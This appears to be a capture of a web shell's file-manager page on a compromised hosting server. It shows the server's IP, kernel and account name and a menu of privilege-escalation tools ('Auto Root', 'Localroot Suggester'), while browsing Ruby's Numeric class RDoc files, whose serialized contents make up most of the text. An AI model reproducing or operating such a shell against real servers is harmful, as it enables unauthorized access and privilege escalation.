Linux server1.dn-server.com 4.18.0-553.89.1.lve.el8.x86_64 #1 SMP Wed Dec 10 13:58:50 UTC 2025 x86_64
LiteSpeed
Server IP : 195.201.204.189 & Your IP : 216.73.216.222
Domains :
Cant Read [ /etc/named.conf ]
User : beriska1
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Readme
/
opt /
alt /
ruby34 /
share /
ri /
system /
Numeric /
Delete
Unzip
Name
Size
Permission
Date
Action
%25-i.ri
1.18
KB
-rw-r--r--
2026-04-07 16:51
%2b%40-i.ri
290
B
-rw-r--r--
2026-04-07 16:51
%2d%40-i.ri
321
B
-rw-r--r--
2026-04-07 16:51
%3c%3d%3e-i.ri
473
B
-rw-r--r--
2026-04-07 16:51
abs-i.ri
490
B
-rw-r--r--
2026-04-07 16:51
abs2-i.ri
306
B
-rw-r--r--
2026-04-07 16:51
angle-i.ri
329
B
-rw-r--r--
2026-04-07 16:51
arg-i.ri
370
B
-rw-r--r--
2026-04-07 16:51
cdesc-Numeric.ri
8.43
KB
-rw-r--r--
2026-04-07 16:51
ceil-i.ri
687
B
-rw-r--r--
2026-04-07 16:51
clone-i.ri
468
B
-rw-r--r--
2026-04-07 16:51
coerce-i.ri
1.45
KB
-rw-r--r--
2026-04-07 16:51
conj-i.ri
241
B
-rw-r--r--
2026-04-07 16:51
conjugate-i.ri
331
B
-rw-r--r--
2026-04-07 16:51
denominator-i.ri
350
B
-rw-r--r--
2026-04-07 16:51
div-i.ri
603
B
-rw-r--r--
2026-04-07 16:51
divmod-i.ri
1.29
KB
-rw-r--r--
2026-04-07 16:51
dup-i.ri
355
B
-rw-r--r--
2026-04-07 16:51
eql%3f-i.ri
888
B
-rw-r--r--
2026-04-07 16:51
fdiv-i.ri
580
B
-rw-r--r--
2026-04-07 16:51
finite%3f-i.ri
359
B
-rw-r--r--
2026-04-07 16:51
floor-i.ri
687
B
-rw-r--r--
2026-04-07 16:51
i-i.ri
570
B
-rw-r--r--
2026-04-07 16:51
imag-i.ri
241
B
-rw-r--r--
2026-04-07 16:51
imaginary-i.ri
326
B
-rw-r--r--
2026-04-07 16:51
infinite%3f-i.ri
414
B
-rw-r--r--
2026-04-07 16:51
integer%3f-i.ri
465
B
-rw-r--r--
2026-04-07 16:51
magnitude-i.ri
475
B
-rw-r--r--
2026-04-07 16:51
modulo-i.ri
1.15
KB
-rw-r--r--
2026-04-07 16:51
negative%3f-i.ri
360
B
-rw-r--r--
2026-04-07 16:51
nonzero%3f-i.ri
870
B
-rw-r--r--
2026-04-07 16:51
numerator-i.ri
324
B
-rw-r--r--
2026-04-07 16:51
phase-i.ri
329
B
-rw-r--r--
2026-04-07 16:51
polar-i.ri
325
B
-rw-r--r--
2026-04-07 16:51
positive%3f-i.ri
363
B
-rw-r--r--
2026-04-07 16:51
quo-i.ri
399
B
-rw-r--r--
2026-04-07 16:51
real%3f-i.ri
351
B
-rw-r--r--
2026-04-07 16:51
real-i.ri
293
B
-rw-r--r--
2026-04-07 16:51
rect-i.ri
313
B
-rw-r--r--
2026-04-07 16:51
rectangular-i.ri
340
B
-rw-r--r--
2026-04-07 16:51
remainder-i.ri
1.24
KB
-rw-r--r--
2026-04-07 16:51
round-i.ri
535
B
-rw-r--r--
2026-04-07 16:51
step-i.ri
3.89
KB
-rw-r--r--
2026-04-07 16:51
to_c-i.ri
315
B
-rw-r--r--
2026-04-07 16:51
to_int-i.ri
764
B
-rw-r--r--
2026-04-07 16:51
truncate-i.ri
540
B
-rw-r--r--
2026-04-07 16:51
zero%3f-i.ri
491
B
-rw-r--r--
2026-04-07 16:51
Save
Rename
U:RDoc::NormalClass[iI"Numeric:ET@I"Object;To:RDoc::Markup::Document:@parts[o;;[(o:RDoc::Markup::Paragraph;[I"V\Numeric is the class from which all higher-level numeric classes should inherit.;To:RDoc::Markup::BlankLine o; ;[I"a\Numeric allows instantiation of heap-allocated objects. Other core numeric classes such as ;TI"`Integer are implemented as immediates, which means that each Integer is a single immutable ;TI",object which is always passed by value.;T@o:RDoc::Markup::Verbatim;[I"a = 1 ;TI"+1.object_id == a.object_id #=> true ;T:@format0o; ;[I"\There can only ever be one instance of the integer +1+, for example. Ruby ensures this ;TI"]by preventing instantiation. If duplication is attempted, the same instance is returned.;T@o;;[I"bInteger.new(1) #=> NoMethodError: undefined method `new' for Integer:Class ;TI",1.dup #=> 1 ;TI"/1.object_id == 1.dup.object_id #=> true ;T;0o; ;[I"RFor this reason, \Numeric should be used when defining other numeric classes.;T@o; ;[I"]Classes which inherit from \Numeric must implement +coerce+, which returns a two-member ;TI"XArray containing an object that has been coerced into an instance of the new class ;TI"and +self+ (see #coerce).;T@o; ;[ I"[Inheriting classes should also implement arithmetic operator methods (<code>+</code>, ;TI"_<code>-</code>, <code>*</code> and <code>/</code>) and the <code><=></code> operator (see ;TI"UComparable). These methods may rely on +coerce+ to ensure interoperability with ;TI"(instances of other numeric classes.;T@o;;[.I"class Tally < Numeric ;TI" def initialize(string) ;TI" @string = string ;TI" end ;TI" ;TI" def to_s ;TI" @string ;TI" end ;TI" ;TI" def to_i ;TI" @string.size ;TI" end ;TI" ;TI" def coerce(other) ;TI"2 [self.class.new('|' * other.to_i), self] ;TI" end ;TI" ;TI" def <=>(other) ;TI" to_i <=> other.to_i ;TI" end ;TI" ;TI" def +(other) ;TI"3 self.class.new('|' * (to_i + other.to_i)) ;TI" end ;TI" ;TI" def -(other) ;TI"3 self.class.new('|' * (to_i - other.to_i)) ;TI" end ;TI" ;TI" def *(other) ;TI"3 self.class.new('|' * (to_i * other.to_i)) ;TI" end ;TI" ;TI" def /(other) ;TI"3 self.class.new('|' * (to_i / other.to_i)) ;TI" end ;TI" end ;TI" ;TI"tally = Tally.new('||') ;TI"*puts tally * 2 #=> "||||" ;TI"(puts tally > 1 #=> true ;T;0S:RDoc::Markup::Heading: leveli: textI"What's Here;T@o; ;[I".First, what's elsewhere. \Class \Numeric:;T@o:RDoc::Markup::List: @type:BULLET:@items[o:RDoc::Markup::ListItem:@label0;[o; ;[I"AInherits from {class Object}[rdoc-ref:Object@What-27s+Here].;To;;0;[o; ;[I"EIncludes {module Comparable}[rdoc-ref:Comparable@What-27s+Here].;T@o; ;[I"/Here, class \Numeric provides methods for:;T@o;;;;[ o;;0;[o; ;[I"*{Querying}[rdoc-ref:Numeric@Querying];To;;0;[o; ;[I",{Comparing}[rdoc-ref:Numeric@Comparing];To;;0;[o; ;[I".{Converting}[rdoc-ref:Numeric@Converting];To;;0;[o; ;[I"${Other}[rdoc-ref:Numeric@Other];T@S; ;i;I" Querying;T@o;;;;[ o;;0;[o; ;[I"F#finite?: Returns true unless +self+ is infinite or not a number.;To;;0;[o; ;[I"F#infinite?: Returns -1, +nil+ or +1, depending on whether +self+ ;TI"9is <tt>-Infinity<tt>, finite, or <tt>+Infinity</tt>.;To;;0;[o; ;[I"5#integer?: Returns whether +self+ is an integer.;To;;0;[o; ;[I"4#negative?: Returns whether +self+ is negative.;To;;0;[o; ;[I"3#nonzero?: Returns whether +self+ is not zero.;To;;0;[o; ;[I"4#positive?: Returns whether +self+ is positive.;To;;0;[o; ;[I"4#real?: Returns whether +self+ is a real value.;To;;0;[o; ;[I",#zero?: Returns whether +self+ is zero.;T@S; ;i;I"Comparing;T@o;;;;[o;;0;[o; ;[I"#<=>: Returns:;T@o;;;;[ o;;0;[o; ;[I"0-1 if +self+ is less than the given value.;To;;0;[o; ;[I"-0 if +self+ is equal to the given value.;To;;0;[o; ;[I"11 if +self+ is greater than the given value.;To;;0;[o; ;[I"<+nil+ if +self+ and the given value are not comparable.;T@o;;0;[o; ;[I"T#eql?: Returns whether +self+ and the given value have the same value and type.;T@S; ;i;I"Converting;T@o;;;;[o;;0;[o; ;[I"Y#% (aliased as #modulo): Returns the remainder of +self+ divided by the given value.;To;;0;[o; ;[I"/#-@: Returns the value of +self+, negated.;To;;0;[o; ;[I"H#abs (aliased as #magnitude): Returns the absolute value of +self+.;To;;0;[o; ;[I")#abs2: Returns the square of +self+.;To;;0;[o; ;[I"K#angle (aliased as #arg and #phase): Returns 0 if +self+ is positive, ;TI"Math::PI otherwise.;To;;0;[o; ;[I"I#ceil: Returns the smallest number greater than or equal to +self+, ;TI"to a given precision.;To;;0;[o; ;[I"C#coerce: Returns array <tt>[coerced_self, coerced_other]</tt> ;TI"for the given other value.;To;;0;[o; ;[I"L#conj (aliased as #conjugate): Returns the complex conjugate of +self+.;To;;0;[o; ;[I"=#denominator: Returns the denominator (always positive) ;TI".of the Rational representation of +self+.;To;;0;[o; ;[I"B#div: Returns the value of +self+ divided by the given value ;TI"!and converted to an integer.;To;;0;[o; ;[I"C#divmod: Returns array <tt>[quotient, modulus]</tt> resulting ;TI",from dividing +self+ the given divisor.;To;;0;[o; ;[I"M#fdiv: Returns the Float result of dividing +self+ by the given divisor.;To;;0;[o; ;[I"F#floor: Returns the largest number less than or equal to +self+, ;TI"to a given precision.;To;;0;[o; ;[I"?#i: Returns the Complex object <tt>Complex(0, self)</tt>. ;TI"the given value.;To;;0;[o; ;[I"M#imaginary (aliased as #imag): Returns the imaginary part of the +self+.;To;;0;[o; ;[I"Q#numerator: Returns the numerator of the Rational representation of +self+; ;TI"!has the same sign as +self+.;To;;0;[o; ;[I"=#polar: Returns the array <tt>[self.abs, self.arg]</tt>.;To;;0;[o; ;[I"B#quo: Returns the value of +self+ divided by the given value.;To;;0;[o; ;[I",#real: Returns the real part of +self+.;To;;0;[o; ;[I"K#rect (aliased as #rectangular): Returns the array <tt>[self, 0]</tt>.;To;;0;[o; ;[I"S#remainder: Returns <tt>self-arg*(self/arg).truncate</tt> for the given +arg+.;To;;0;[o; ;[I"F#round: Returns the value of +self+ rounded to the nearest value ;TI"for the given a precision.;To;;0;[o; ;[I"9#to_c: Returns the Complex representation of +self+.;To;;0;[o; ;[I"T#to_int: Returns the Integer representation of +self+, truncating if necessary.;To;;0;[o; ;[I"L#truncate: Returns +self+ truncated (toward zero) to a given precision.;T@S; ;i;I" Other;T@o;;;;[o;;0;[o; ;[I"5#clone: Returns +self+; does not allow freezing.;To;;0;[o; ;[I"+#dup (aliased as #+@): Returns +self+.;To;;0;[o; ;[I"K#step: Invokes the given block with the sequence of specified numbers.;T: @fileI"numeric.c;T:0@omit_headings_from_table_of_contents_below0o;;[ ;I"numeric.rb;T;0;0;0[ [ [[I"Comparable;To;;[ ;@p;0I"numeric.c;T[[I" class;T[[:public[ [:protected[ [:private[ [I" instance;T[[;[3[I"%;T@{[I"+@;TI"numeric.rb;T[I"-@;T@{[I"<=>;T@{[I"abs;T@{[I" abs2;TI"complex.c;T[I" angle;T@�[I"arg;T@�[I" ceil;T@{[I" clone;T@{[I"coerce;T@{[I" conj;T@�[I"conjugate;T@�[I"denominator;TI"rational.c;T[I"div;T@{[I"divmod;T@{[I"dup;T@�[I" eql?;T@{[I" fdiv;T@{[I"finite?;T@�[I" floor;T@{[I"i;T@{[I" imag;T@�[I"imaginary;T@�[I"infinite?;T@�[I" integer?;T@�[I"magnitude;T@{[I"modulo;T@{[I"negative?;T@{[I" nonzero?;T@{[I"numerator;T@�[I" phase;T@�[I" polar;T@�[I"positive?;T@{[I"quo;T@�[I" real;T@�[I" real?;T@�[I" rect;T@�[I"rectangular;T@�[I"remainder;T@{[I" round;T@{[I" step;T@{[I" to_c;T@�[I"to_int;T@{[I" truncate;T@{[I" zero?;T@{[;[ [;[ [ [U:RDoc::Context::Section[i 0o;;[ ;0;0[ I"complex.c;T@p@sI"rational.c;T@�cRDoc::TopLevel